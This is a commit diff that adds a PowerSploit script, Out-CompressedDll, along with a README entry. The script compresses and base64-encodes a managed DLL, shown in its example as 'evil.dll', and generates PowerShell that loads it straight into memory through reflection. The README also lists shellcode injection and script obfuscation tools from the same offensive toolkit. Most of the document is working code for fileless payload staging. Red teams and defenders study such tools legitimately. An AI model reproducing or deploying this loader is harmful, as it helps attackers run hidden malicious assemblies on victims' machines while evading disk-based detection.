Added Out-CompressedDll

A script to aid in the loading of managed dlls in memory

Out-CompressedDll.ps1

@@ -0,0 +1,79 @@
+function Out-CompressedDll
+{
+<#
+.SYNOPSIS
+
+Compresses, Base-64 encodes, and outputs generated code to load a managed dll in memory.
+
+PowerSploit Module - Out-CompressedDll
+Author: Matthew Graeber (@mattifestation)
+License: BSD 3-Clause
+ 
+.DESCRIPTION
+
+Out-CompressedDll outputs code that loads a compressed representation of a managed dll in memory as a byte array.
+
+.PARAMETER FilePath
+
+Specifies the path to a managed executable.
+
+.EXAMPLE
+
+C:\PS> Out-CompressedDll -FilePath evil.dll
+
+Description
+-----------
+Compresses, base64 encodes, and outputs the code required to load evil.dll in memory.
+
+.NOTES
+
+Only pure MSIL-based dlls can be loaded using this technique. Native or IJW ('it just works' - mixed-mode) dlls will not load.
+
+.LINK
+
+http://www.exploit-monday.com/2012/12/in-memory-dll-loading.html
+#>
+
+    [CmdletBinding()] Param (
+        [Parameter(Mandatory = $True)]
+        [String]
+        $FilePath
+    )
+
+    $Path = Resolve-Path $FilePath
+
+    if (! [IO.File]::Exists($Path))
+    {
+        Throw "$Path does not exist."
+    }
+
+    $FileBytes = [System.IO.File]::ReadAllBytes($Path)
+
+    if (($FileBytes[0..1] | % {[Char]$_}) -join '' -cne 'MZ')
+    {
+        Throw "$Path is not a valid executable."
+    }
+
+    $Length = $FileBytes.Length
+    $CompressedStream = New-Object IO.MemoryStream
+    $DeflateStream = New-Object IO.Compression.DeflateStream ($CompressedStream, [IO.Compression.CompressionMode]::Compress)
+    $DeflateStream.Write($FileBytes, 0, $FileBytes.Length)
+    $DeflateStream.Dispose()
+    $CompressedFileBytes = $CompressedStream.ToArray()
+    $CompressedStream.Dispose()
+    $EncodedCompressedFile = [Convert]::ToBase64String($CompressedFileBytes)
+
+    Write-Verbose "Compression ratio: $(($EncodedCompressedFile.Length/$FileBytes.Length).ToString('#%'))"
+
+    $Output = @"
+`$EncodedCompressedFile = @'
+$EncodedCompressedFile
+'@
+`$DeflatedStream = New-Object IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String(`$EncodedCompressedFile),[IO.Compression.CompressionMode]::Decompress)
+`$UncompressedFileBytes = New-Object Byte[]($Length)
+`$DeflatedStream.Read(`$UncompressedFileBytes, 0, $Length) | Out-Null
+[Reflection.Assembly]::Load(`$UncompressedFileBytes)
+"@
+
+    Write-Output $Output
+}

README

@@ -16,6 +16,10 @@ Inject-Shellcode:
 
    Inject-Shellcode injects shellcode into the process ID of your choosing or within PowerShell locally.
 
+Out-CompressedDll:
+
+   Compresses, Base-64 encodes, and outputs generated code to load a managed dll in memory.
+
 Encrypt-Script:
 
    Encrypt-Script will encrypt a script (or any text file for that matter) and output the results to a minimally obfuscated script - evil.ps1.